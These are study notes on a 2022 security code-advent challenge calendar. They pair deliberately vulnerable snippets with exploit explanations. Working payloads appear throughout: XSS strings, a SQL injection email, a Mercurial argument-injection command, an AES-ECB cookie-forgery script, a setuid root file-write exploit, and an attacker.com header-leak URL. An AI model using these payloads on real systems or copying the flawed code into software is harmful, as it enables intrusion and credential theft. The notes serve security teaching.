Notes related to RipsTech/SonarSource CodeAdvent Security Calendar 2022. Official writeup here: https://www.sonarsource.com/knowledge/code-challenges/advent-calendar-2022/
Day 1 - PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
| <?php
session_start();
function changePassword($token, $newPassword)
{
$db = new SQLite3('/srv/users.sqlite', SQLITE3_OPEN_READWRITE);
$p = $db->prepare('SELECT id FROM users WHERE reset_token = :token');
$p->bindValue(':token', $token, SQLITE3_TEXT);
$res = $p->execute()->fetchArray(1);
if (strlen($token) == 32 && $res)
{
$p = $db->prepare('UPDATE users SET password = :password WHERE id = :id');
$p->bindValue(':password', $newPassword, SQLITE3_TEXT);
$p->bindValue(':id', $res['id'], SQLITE3_INTEGER);
$p->execute();
# TODO: notify the user of the new password by email
die('Password changed!');
}
http_response_code(403);
die('Invalid reset token!');
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
| <?php
session_start();
function generatePasswordResetToken($user)
{
$db = new SQLite3('/srv/users.sqlite', SQLITE3_OPEN_READWRITE);
$token = md5(mt_rand(1, 100) . $user . time() . session_id());
$p = $db->prepare('UPDATE users SET reset_token = :token WHERE name = :user');
$p->bindValue(':user', $user, SQLITE3_TEXT);
$p->bindValue(':token', $token, SQLITE3_TEXT);
$p->execute();
}
|
- Lack of Unique Token Generation:
- Only 100 random numbers are used.
- Username and session identifier (PHPSESSID cookie) are known.
- Request timestamp can be estimated from response headers.
- Vulnerability Exploitation:
- Attackers must first trigger a password reset for the target user.
- By generating multiple tokens, they can eventually find the correct one.
- This could be achieved within a few dozen tries.
- Similar Vulnerability in PEAR:
- A similar vulnerability was found in the PHP package manager PEAR. - https://blog.sonarsource.com/php-supply-chain-attack-on-pear/
- This allowed attackers to take over any user account.
- It was exploited in conjunction with a 1-day bug in the Archive_TAR library.
Day 2 - Java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
| // ...
HttpServer srv = HttpServer.create(new InetSocketAddress(9000), 0);
srv.createContext("/", new HttpHandler() {
@Override
public void handle(HttpExchange he) throws IOException {
String ret = "<!DOCTYPE html><html><head><title>Comments</title></head><body><table>";
try {
ResultSet rs = statement.executeQuery("select * from comments");
while (rs.next()) {
String comment = rs.getString("comment").replace("<", "<").replace(">", ">");
ret += "<tr><td>" + Normalizer.normalize(comment, Normalizer.Form.NFKC) + "</td></tr>\n";
}
Main.response(he, 200, ret + "</table></body></html>");
} catch (Exception exp) {
System.out.println(exp);
Main.response(he, 500, "Internal Server Error");
}
}
});
srv.createContext("/comment", new HttpHandler() {
@Override
public void handle(HttpExchange he) throws IOException {
try {
JSONObject jsonObject = (JSONObject)(new JSONParser()).parse(new InputStreamReader(he.getRequestBody(), "UTF-8"));
PreparedStatement stmt = finalConnection.prepareStatement("insert into comments values(?)");
stmt.setString(1, (String)jsonObject.get("comment"));
stmt.executeUpdate();
Main.response(he, 200, "Ok");
} catch (Exception exp) {
Main.response(he, 500, "Internal Server Error");
}
}
});
srv.start();
|
- XSS Vulnerability:
- User-provided comments are sanitized to prevent XSS.
- However, subsequent normalization with
Normalizer.normalize()
reintroduces the risk.
- NFKC normalization allows the injection of
<
and >
characters using Unicode characters U+FE64 and U+FE65.
- Exploitable Payload:
{'comment':'\ufe64script\ufe65alert(document.domain);\ufe64/script\ufe65'}
Example of real world vulnerability: https://blog.sonarsource.com/zimbra-webmail-compromise-via-email/
Day 3 - CSharp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
| class ApiHandler {
public string Call(HttpRequest request, HttpResponse response) {
try
{
if (!Regex.IsMatch(request.Query["path"], "^[/a-zA-Z0-9_]*")) {
return "not allowed!";
}
var url = "https://api.github.com" + request.Query["path"];
var clientHandler = new HttpClientHandler();
clientHandler.AllowAutoRedirect = false;
var client = new HttpClient(clientHandler);
var authHeader = Environment.GetEnvironmentVariable("Authorization");
client.DefaultRequestHeaders.Add("Authorization", authHeader);
Task.Run(() => client.GetAsync(url));
}
catch (Exception ex) {
return "error";
}
return "request sent";
}
}
|
- Open Redirect Vulnerability in GitHub API:
- Issue: Missing trailing slash (/) in
https://api.github.com
allows manipulation.
- Exploit: Attacker can send requests to arbitrary servers using the
path
parameter in the URL.
- Malicious URL Example:
https://api.github.compath=.attacker.com/hello
(This redirects to attacker’s server)
- Impact: Leaks the Authorization header, potentially compromising user credentials.
- Vulnerability Details:
- Regular expression for
path
parameter: ^[/a-zA-Z0-9_]*
- Allows zero matches (
*
is a greedy quantifier).
- Attacker Payload:
.attacker.com/hello
(Bypasses validation due to zero matches).
Day 4 - JS
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
| const express = require('express');
const auth = require('./auth');
const app = express();
app.use((req, res, next) => {
if (req.url.startsWith('/api')) {
const allowed = auth.checkToken(req);
if (!allowed) {
return res.status(401).send('missing auth token!');
}
}
next();
});
app.use('/static', express.static('./static'));
app.use('/api', require('./api'));
app.listen(1337);
|
- Case-Sensitivity Vulnerability in Express Framework:
- Issue: Express framework’s routing is case-insensitive by default.
- Exploit: Attacker can bypass authentication by capitalizing the
/api
endpoint.
- Malicious URL Example:
/API/users
(Accesses protected resource without authentication)
- Impact: Allows unauthorized access to sensitive resources.
Day 5 - Python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
| cipher = AES.new(get_random_bytes(16), AES.MODE_ECB)
users = [{'usrid': 0, 'name': 'admin', 'pwd': get_random_bytes(16).hex()},
{'usrid': 1, 'name': 'guest', 'pwd': 'guest'}]
def gen_cookie(usrid, name):
name = name.replace('"', '')
return b64encode(cipher.encrypt(pad(f'\{\{"usrid":\{int(usrid)\}, "name":"{name}"}}'.encode(), 16)))
@app.route('/settings', methods=['POST'])
def settings():
user = loads(unpad(cipher.decrypt(b64decode(request.cookies.get('session'))), 16))
if user:
resp = make_response(redirect('/settings'))
name = request.form.get('name').replace('"', '')
for u in users:
if u['usrid'] == user['usrid']: u['name'] = name
resp.set_cookie('session', gen_cookie(user['usrid'], name))
return resp
return redirect('/login')
@app.route('/login', methods=['POST'])
def login():
user = [u for u in users if u['name'] == request.form.get('name') and u['pwd'] == request.form.get('pwd')]
if len(user) == 1:
resp = make_response(redirect('/settings'))
resp.set_cookie('session', gen_cookie(user[0]['usrid'], user[0]['name']))
return resp
return jsonify({'error': 'invalid credentials'})
|
- Insecure Session Cookie Encryption:
- Issue: The application uses AES-ECB for session cookie encryption, which is vulnerable.
- Impact: Attackers can potentially forge a valid admin session cookie.
- Vulnerability Details:
- AES-ECB mode leaks data patterns due to independent block encryption.
- Session cookie contains
userid
and username (partially controllable by user).
- Attackers exploit this to create specific encrypted blocks for cookie forgery.
- Exploitation Steps:
- Change username to specific values to manipulate encrypted blocks.
- Block 1: `”{“ (using application-inserted double quote)
- Block 2:
\u0075\u0073rid
(crafted username using unicode for padding)
- Block 3:
:0
(username with spaces for padding)
- Block 4:
}
(username with spaces)
- Obtain these blocks by sending crafted username requests.
- Create an empty block for padding (achieved with another username change).
- Concatenate all blocks (including padding) to form a valid admin session cookie.
- Example Script:
- Provided Python script demonstrates the attack flow (commented).
- It retrieves blocks, concatenates them, and gains admin access.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
| import requests
from base64 import b64decode, b64encode
URL = 'http://localhost'
s = requests.Session()
s.post(URL + '/login', data={'name':'guest', 'pwd':'guest'})
# 0123456789012345
# [xxxxxxxxxxxxxx][xxxxxxxxxxxxxx]
# {"usrid":1, "name":"guest"}
# [xxxxxxxxxxxxxx][xxxxxxxxxxxxxx][xxxxxxxxxxxxxx][xxxxxxxxxxxxxx]
# {"usrid":1, "name":"guest {"}
s.post(URL + '/settings', data={'name':'guest {'})
data = b64decode(s.cookies.get('session'))
# block1 = ' {"'
block1 = data[0x20:0x30]
# [xxxxxxxxxxxxxx][xxxxxxxxxxxxxx][xxxxxxxxxxxxxx][xxxxxxxxxxxxxx]
# {"usrid":1, "name":"guest \u0075\u0073rid"}
s.post(URL + '/settings', data={'name':'guest \\u0075\\u0073rid'})
data = b64decode(s.cookies.get('session'))
# block2 = '\u0075\u0073rid"'
block2 = data[0x20:0x30]
# [xxxxxxxxxxxxxx][xxxxxxxxxxxxxx][xxxxxxxxxxxxxx][xxxxxxxxxxxxxx]
# {"usrid":1, "name":"guest :0"}
s.post(URL + '/settings', data={'name':'guest :0'})
data = b64decode(s.cookies.get('session'))
# block3 = ' :0'
block3 = data[0x20:0x30]
# [xxxxxxxxxxxxxx][xxxxxxxxxxxxxx][xxxxxxxxxxxxxx][xxxxxxxxxxxxxx]
# {"usrid":1, "name":"guest }"}
s.post(URL + '/settings', data={'name':'guest }'})
data = b64decode(s.cookies.get('session'))
# block4 = ' }'
block4 = data[0x20:0x30]
# last block required for padding
# [xxxxxxxxxxxxxx][xxxxxxxxxxxxxx][xxxxxxxxxxxxxx]
# {"usrid":1, "name":"guest "}
s.post(URL + '/settings', data={'name':'guest '})
data = b64decode(s.cookies.get('session'))
# block5 = '\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10'
block5 = data[0x20:0x30]
# [xxxxxxxxxxxxxx][xxxxxxxxxxxxxx][xxxxxxxxxxxxxx][xxxxxxxxxxxxxx]
# all_blocks = ' {"\u0075\u0073rid" :0 }'
# (+ padding)
# >>> loads(' {"\u0075\u0073rid" :0 }')
# {'usrid': 0}
c = {'session': b64encode(block1+block2+block3+block4+block5).decode()}
j = requests.get(URL + '/settings', cookies=c).json() # admin access
|
- Recommendation:
- Use a secure encryption mode like AES-GCM for session cookies.
Day 6 - PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
| <?php
$db = new SQLite3('/srv/users.sqlite');
if(!isset($_POST['mail'])) {
die("Need mail.\n");
}
$mail = $_POST['mail'];
$filter_chain = array(FILTER_DEFAULT, FILTER_SANITIZE_ADD_SLASHES, FILTER_VALIDATE_EMAIL, FILTER_SANITIZE_STRING);
for($i=0; $i < count($filter_chain); $i++){
if(filter_var($mail, $filter_chain[$i]) === false){
die("Invalid Email.\n");
}
}
// check if email exists
$user = $db->querySingle("SELECT username FROM users WHERE email='$mail' LIMIT 1");
if(!$user){
die('No user found with given email.');
}
echo sprintf("Hello %s we sent you an email ;).\n", htmlspecialchars($user, ENT_QUOTES));
|
- SQL Injection Vulnerability:
- Issue:
$mail
variable is validated but not sanitized before use in an SQLite query.
- Impact: Attackers can inject malicious SQL statements to extract sensitive data.
- Vulnerability Details:
FILTER_VALIDATE_EMAIL
allows many special characters, enabling SQL injection.
- Attackers can use
UNION
clause to retrieve additional data (e.g., passwords).
- Exploit Example:
- Malicious email:
'/**/union/**/select/**/password/**/FROM/**/users/*'@a.s
- This email bypasses validation and injects SQL, leading to password leakage.
- Reference:
- Codoforum 4.8.7: Critical Code Vulnerabilities Explained - https://blog.sonarsource.com/codoforum-4.8.7-critical-code-vulnerabilities-explained
Day 7 - JS
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
| <script setup>
import PageContent from './components/PageContent.vue';
</script>
<template>
<main>
<img src="@/assets/logo.svg" class="logo">
<PageContent
msg="You did it!"
v-bind="$route.query"
class="card-lg"
/>
</main>
</template>
<style>
@keyframes spinner {
from { transform: rotate(0deg); }
to { transform: rotate(360deg); }
}
img.logo {
animation: 5s linear spinner infinite;
}
</style>
|
- DOM-Based XSS Vulnerability in Vue.js Application:
- Issue:
v-bind
directive allows dynamic attribute binding, including event handlers.
- Impact: Attackers can inject malicious JavaScript into the page, potentially leading to unauthorized actions.
- Exploit Details:
- Leveraging Vue Router:
$route.query
can be manipulated to control attribute values.
- Setting
style
and onanimationstart
attributes enables JavaScript injection.
- Malicious URL:
http://chal:1337/#/?style=animation-name:spinner&onanimationstart=alert(1)
- Attack Vector:
- When the page loads, the animation triggers the
onanimationstart
event, executing the malicious JavaScript.
- Reference:
- SmartStoreNET - Malicious Message leading to E-Commerce Takeover - https://blog.sonarsource.com/smartstorenet-malicious-message-leading-to-e-commerce-takeover/
Day 8 - PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
| <?php
session_start();
function client_ip(){
return !empty($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];
}
$ip = client_ip();
if(!filter_var($ip, FILTER_VALIDATE_IP) || !in_array($ip, array('localhost', '127.0.0.1'))){
die(htmlspecialchars("Not allowed!\n"));
}
if(!isset($_SESSION['auth'])){
header("Location: error.php");
}
// interact with API endpoints
echo call_user_func($_GET['cmd'], $_GET['arg']);
|
- HTTP Header Manipulation Vulnerability:
- Issue:
X-Forwarded-For
header can be manipulated to bypass IP address restrictions.
- Impact: Attackers can potentially execute arbitrary PHP code.
- Exploit Details:
- Bypass IP Restriction:
- Setting
X-Forwarded-For
to 127.0.0.1
bypasses the allow-list.
- Ignoring Redirect:
- The client can ignore the redirect, allowing the script to continue execution.
- Code Execution:
call_user_func()
function enables arbitrary PHP code execution.
Day 9 - Python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
| def upload(request):
f = request.FILES["data"]
with open(f'/tmp/storage/{f.name}', 'wb+') as destination:
for chunk in f.chunks(): destination.write(chunk)
return HttpResponse("File is uploaded!")
def install(request):
language_name = request.GET['language_name']
if '..' in language_name: return HttpResponse("Not allowed!")
src = os.path.join('contrib', 'languages', language_name)
dst = os.path.join('/tmp/extract', language_name)
shutil.copy(src, dst)
shutil.unpack_archive(dst, extract_dir='/tmp/extract')
return HttpResponse("Installed!")
def clean(request):
file = os.path.basename(request.GET['file'])
file_safe = f'/tmp/storage/{file}'
os.unlink(file_safe)
return HttpResponse("file removed!")
|
- Race Condition and Path Traversal Vulnerability:
- Issue:
os.path.join()
is vulnerable to path traversal attacks.
- Impact: Attackers can exploit a race condition to write arbitrary files.
- Exploit Steps:
- Path Traversal Bypass:
- Upload a malicious tar archive (
p.tar
).
- Use
language_name=/tmp/storage/p.tar
to bypass path traversal checks.
- Race Condition Exploitation:
- Delete the target file (
p.tar
) using the /clean
endpoint.
- Re-upload the archive and trigger the
/install
endpoint simultaneously.
- Arbitrary File Write:
- If the race is successful, the archive is extracted, leading to arbitrary file creation.
- Reference:
- 10 Unknown Security Pitfalls for Python - https://blog.sonarsource.com/10-unknown-security-pitfalls-for-python/
Day 10 - Java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
| @WebServlet(name = "MercurialImporterServlet", urlPatterns = {"/check"})
public class MercurialImporterServlet extends HttpServlet {
@Override
protected void doPut(HttpServletRequest req, HttpServletResponse res) throws IOException {
res.setContentType("text/plain");
var out = res.getOutputStream();
if (req.getParameter("repository") == null
|| req.getParameter("repository").indexOf("$(") != -1
|| req.getParameter("repository").indexOf("`") != -1) {
res.setStatus(405);
return;
}
var cmd = new String[] {
"hg",
"identify",
req.getParameter("repository")
};
var p = Runtime.getRuntime().exec(cmd);
var br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String l;
while ((l = br.readLine()) != null) {
out.write(l.getBytes("ascii"));
}
br.close();
}
}
|
- Mercurial Command Injection Vulnerability:
- Issue: Lack of proper input validation for Mercurial client arguments.
- Impact: Attackers can execute arbitrary shell commands.
- Exploit Details:
- Mercurial Alias:
- Attackers can create custom aliases using the
--config
option.
- Aliases prefixed with
!
execute shell commands.
- Payload Example:
repository=--config=alias.identify=!id
- This payload executes the
id
command.
- Reference:
- PHP Supply Chain Attack on Composer - https://blog.sonarsource.com/php-supply-chain-attack-on-composer/
- Securing Developer Tools: A New Supply Chain Attack on PHP - https://blog.sonarsource.com/securing-developer-tools-a-new-supply-chain-attack-on-php/
Day 11 - C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
| // $ ls -lh /opt/logger/bin/
// -rwsrwsr-x 1 root root 14K Dec 11 13:37 loggerctl
char *logger_path, *cmd;
void rotate_log() {
char log_old[PATH_MAX], log_new[PATH_MAX], timestamp[0x100];
time_t t;
time(&t);
strftime(timestamp, sizeof(timestamp), "%FT%T", gmtime(&t));
snprintf(log_old, sizeof(log_old), "%s/../logs/global.log", logger_path);
snprintf(log_new, sizeof(log_new), "%s/../logs/global-%s.log", logger_path, timestamp);
execl("/bin/cp", "/bin/cp", "-a", "--", log_old, log_new, NULL);
}
int main(int argc, char **argv) {
if (argc != 2) {
printf("Usage: /opt/logger/bin/loggerctl <cmd>\n");
return 1;
}
if (setuid(0) == -1) return 1;
if (seteuid(0) == -1) return 1;
char *executable_path = argv[0];
logger_path = dirname(executable_path);
cmd = argv[1];
if (!strcmp(cmd, "rotate")) rotate_log();
else list_commands();
return 0;
}
|
Vulnerability: Setuid Binary with Path Traversal
Impact: Arbitrary file write as root
Exploit:
- Create a malicious directory structure:
/tmp/fakedir/bin/dummy
- A dummy executable
/tmp/fakedir/logs/global.log
- File containing malicious content
/tmp/fakedir/logs/global-YYYY-MM-DDTHH:MM:SS.log
- Symbolic link pointing to the target file (e.g., /root/.ssh/authorized_keys
)
- Execute the
loggerctl
binary:
- Use a crafted C program (or similar) to execute
loggerctl
with a manipulated argv[0]
:
1
2
3
4
| #include <unistd.h>
void main() {
execl("/opt/logger/bin/loggerctl", "/tmp/fakedir/bin/dummy", "rotate", NULL);
}
|
- Trigger the vulnerability:
- The
loggerctl
binary will attempt to copy global.log
to global-YYYY-MM-DDTHH:MM:SS.log
.
- Due to the symbolic link, the malicious content will be written to the target file.
Key Points:
- The setuid bit allows the binary to run with root privileges.
- Path traversal vulnerability in
argv[0]
allows control over file paths.
- Symbolic links enable writing to arbitrary files.
By exploiting this vulnerability, an attacker can gain root privileges on the system.
Day 12 - JS
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
| <!-- oauth-popup.html -->
<script>
const handlers = Object.assign(Object.create(null), {
getAuthCode(sender) {
sender.postMessage({
type: 'auth-code',
code: new URL(location).searchParams.get('code'),
}, '*');
},
startAuthFlow(sender, clientId) {
location.href = 'https://github.com/login/oauth/authorize'
+ '?client_id=' + encodeURIComponent(clientId)
+ '&redirect_uri=' + encodeURIComponent(location.href);
},
});
window.addEventListener('message', ({ source, origin, data }) => {
if (source !== window.opener) return;
if (origin !== window.origin) return;
handlers[data.cmd](source, ...data.args);
});
window.opener.postMessage({ type: 'popup-loaded' }, '*');
</script>
|
Vulnerability: Null Origin Bypass in GitHub OAuth Popup
Problem:
The popup uses window.origin
to validate messages. However, window.origin
can be manipulated to null
when a page is embedded in a sandboxed iframe. This allows attackers to send malicious messages to the popup and potentially steal sensitive information, such as OAuth tokens.
Exploit:
- Create a Malicious Page:
- Create a web page with a sandboxed iframe.
- The iframe should have the
allow-scripts
and allow-popups
attributes to enable script execution and popup creation.
- Open the OAuth Popup:
- The malicious page opens the victim’s OAuth popup within the sandboxed iframe.
- Due to the sandbox, the popup inherits the
null
origin of the iframe.
- Send Malicious Messages:
- The attacker’s script sends malicious messages to the popup using
postMessage
.
- The popup, believing the messages are from a legitimate source, processes them.
- Steal OAuth Token:
- The attacker’s script can trick the popup into revealing the OAuth token.
- This is achieved by sending commands to the popup, such as requesting the token or triggering specific actions.
Mitigation:
- Use
location.origin
:
- The popup should use
location.origin
instead of window.origin
for origin validation.
location.origin
is more reliable as it cannot be manipulated by sandboxing.
- Target Specific Origins:
- When using
postMessage
, the target origin should be explicitly specified.
- This prevents messages from being received by unintended recipients.
Day 13 - Java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
| HttpServer srv = HttpServer.create(new InetSocketAddress(1337), 0);
srv.createContext("/register", he - > {
try {
JSONObject params = Server.getParams(he);
String username = (String) params.get("username");
String password = (String) params.get("password");
if (username == null || password == null) {
Server.response(he, 500, "Internal Server Error");
return;
}
if (Server.user_exists(conn, username)) {
Server.response(he, 403, "user exists");
return;
}
ResultSet rs = smt.executeQuery("SELECT password FROM users");
while (rs.next()) {
if (rs.getString("password").startsWith(password)) {
Server.response(he, 403, "password policy not followed");
return;
}
}
} catch (ParseException | SQLException e) {
Server.response(he, 500, "Internal Server Error");
return;
}
});
srv.start();
|
- Vulnerability: A new user registration process is vulnerable to a side-channel attack.
- Attack Method:
- Attackers register new users with passwords starting with different character sequences.
- By observing the error messages (whether “password policy not followed” or successful registration), attackers can infer information about existing passwords.
- This is because the password comparison function
startswith()
leaks information about the matching prefix of the new password with existing passwords.
- Impact:
- Attackers can potentially extract existing passwords character by character.
- This could lead to unauthorized access to accounts and sensitive information.
- Mitigation:
- Implement a more secure password comparison algorithm that does not leak information about password prefixes.
- Consider using a cryptographic hash function to store passwords securely and compare hashes instead of plain text passwords.
- Regularly review and update security practices to address emerging threats.
Day 14 - PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
| <?php
const LEAK_ME = '/key.pem';
function debugCertificate()
{
if (!array_key_exists('cert', $_POST)) {
die('Please provide your certificate!');
}
if (strstr($_POST['cert'], 'BEGIN PUBLIC')) {
$res = openssl_pkey_get_public($_POST['cert']);
} else {
$res = openssl_pkey_get_private($_POST['cert']);
}
$res = openssl_pkey_get_details($res);
echo 'Here is your key:<br><pre>' . serialize($res) . '</pre>';
}
|
- Vulnerability: The PHP OpenSSL extension is vulnerable to a path traversal attack.
- Attack Method:
- Attackers can exploit the
file://
prefix to read arbitrary files on the server.
- By crafting a malicious request with a specially crafted
$_POST['key']
parameter, attackers can access sensitive files like private keys.
- Impact:
- Attackers can potentially steal sensitive information, including private keys.
- This could lead to unauthorized access to systems and data.
- Mitigation:
- Validate and sanitize user input to prevent malicious input from being processed.
- Implement proper input validation and filtering to block file paths and other malicious input.
- Keep software and libraries up-to-date with the latest security patches.
- Consider using a web application firewall (WAF) to protect against common web attacks, including path traversal.
Day 15 - Python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
| app = Flask(__name__)
app.config['TEMPLATES_AUTO_RELOAD'] = True
Session(app)
users = {'guest':'guest'}
@app.route('/login', methods=['GET', 'POST'])
def login():
# ... do login ...
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form.get('username')
if username in users:
return render_template('error.html', msg='Username already taken!', return_to='/register')
users[username] = request.form.get('password')
return redirect('/login')
return render_template('register.html')
@app.route('/notes', methods=['GET', 'POST'])
def notes():
if not session.get('username'): return redirect('/login')
notes_file = 'notes/' + session.get('username')
if commonpath((app.root_path, abspath(notes_file))) != app.root_path:
return render_template('error.html', msg='Error processing notes file!', return_to='/notes')
if request.method == 'POST':
with open(notes_file, 'w') as f: f.write(request.form.get('notes'))
return redirect('/notes')
notes = ''
if exists(notes_file):
with open(notes_file, 'r') as f: notes = f.read()
return render_template('notes.html', username=session.get('username'), notes=notes)
|
- Path Traversal Vulnerability:
- The application constructs file paths using user-provided usernames.
- This allows attackers to manipulate the path to access and modify files outside the intended directory.
- By registering a user with a crafted username (e.g.,
../templates/error.html
), attackers can overwrite template files.
- Server-Side Template Injection (SSTI) Vulnerability:
- The application uses template auto-reloading, which can be exploited to inject malicious code into templates.
- Overwriting the
error.html
template with a payload allows attackers to execute arbitrary code on the server.
- The payload can leverage built-in Python functions to execute system commands or access sensitive information.
- Potential Impact:
- Data Exfiltration: Attackers can steal sensitive data from the server.
- System Compromise: Attackers can execute arbitrary code on the server, potentially leading to full system compromise.
- Denial of Service: Attackers can disrupt the application’s functionality by overwriting critical files.
Day 16 - Python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
| def _git(cmd, args, cwd='/'):
proc = run(['git', cmd, *args],
stdout=PIPE,
stderr=DEVNULL,
cwd=cwd,
timeout=5)
return proc.stdout.decode().strip()
@app.route('/blame', methods=['POST'])
def blame():
url = request.form.get('url',
'https://github.com/package-url/purl-spec.git')
what = request.form.getlist('what[]')
with TemporaryDirectory() as local:
if not url.startswith(('https://', 'http://')):
return make_response('Invalid url!', 403)
_git('clone', ['--', url, local])
res = []
for i in what:
file, lines = i.split(':')
res.append(_git('blame', ['-L', lines, file], local))
return make_response('\n'.join(res), 200)
|
1
2
3
4
5
6
7
8
| * Involves invoking `git` in an untrusted folder for arbitrary code execution
* Requires control over repository configuration (not applicable here)
* Argument injection vulnerability in `git blame`
* Exploits undocumented `--output` parameter (similar to other `git` commands)
* Creates or truncates files with limited control
* Truncating `.git/HEAD` invalidates the local repository
* Git searches for a valid repository elsewhere (including planted configurations)
* Subsequent `git blame` calls might use the malicious configuration
|
Challenge based on [https://blog.sonarsource.com/securing-developer-tools-git-integrations/]
Day 17 - Java
Main.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
| HttpServer srv = HttpServer.create(new InetSocketAddress(9000), 0);
srv.createContext("/", new HttpHandler() {
@Override
public void handle(HttpExchange he) throws IOException {
String comments = "<!DOCTYPE html>\n<html><head><title>Comments</title></head><body><table>";
try (Statement stmt = Main.conn.createStatement()) {
ResultSet rs = stmt.executeQuery("SELECT * FROM comments");
while (rs.next()) {
comments += "<tr><td>" + rs.getString("comment") + "</td></tr>";
}
} catch (SQLException e) {
Main.response(he, 500, "Internal Server Error");
}
Main.response(he, 200, comments + "</table></body></html>");
}
});
srv.createContext("/comment", new HttpHandler() {
@Override
public void handle(HttpExchange he) throws IOException {
try (var stmt = Main.conn.prepareStatement("INSERT INTO comments (comment) VALUES (?)")) {
Source comment = new StreamSource(he.getRequestBody());
Source xslt = new StreamSource(Thread.currentThread().getContextClassLoader().getResourceAsStream("comment.xslt"));
TransformerFactory tf = TransformerFactory.newInstance();
tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");
Transformer transformer = tf.newTransformer(xslt);
StringWriter writer = new StringWriter();
transformer.transform(comment, new StreamResult(writer));
stmt.setString(1, writer.getBuffer().toString());
stmt.executeUpdate();
Main.response(he, 200, "Ok");
} catch (Exception e) {
Main.response(he, 500, "Internal Server Error");
}
}
});
srv.start();
|
comment.xslt:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
| <?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="html" />
<!-- Allow the following tags: <b>, <i> and <u> -->
<xsl:template match="//b | //i | //u">
<xsl:element name="{local-name()}">
<xsl:value-of select="."/>
</xsl:element>
</xsl:template>
<!-- Allow links to https://example.com -->
<xsl:template match="//*[@href]">
<xsl:element name="{local-name()}">
<xsl:attribute name="href">
<xsl:choose>
<xsl:when test="starts-with(@href, 'https://example.com/')">
<xsl:value-of select="@href"/>
</xsl:when>
<xsl:otherwise>/</xsl:otherwise>
</xsl:choose>
</xsl:attribute>
<xsl:value-of select="."/>
</xsl:element>
</xsl:template>
</xsl:stylesheet>
|
- User comments are converted to HTML using an XSLT template.
- The XSLT filters HTML tags to prevent XSS.
- Allowed tags:
<b>
, <i>
, <u>
, and links to https://example.org
.
- Links are allowed based on the
href
attribute, without tag name restriction.
- This allows malicious script injection:
<script href="/">alert(document.domain);</script>
.
Day 18 - JavaScript
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
| const csrfProtect = require('csurf')({ cookie: true });
app.use(session({
secret: process.env.SECRET,
cookie: {
secure: true,
sameSite: 'none',
},
}));
app.post('/upload', parseForm, csrfProtect, async (req, res) => {
const f = req.files.template;
if (path.extname(f.name) !== '.txt') {
return res.status(400).send();
}
const id = uuid.v4();
await f.mv(`public/uploads/${id}`);
return res.json({id});
});
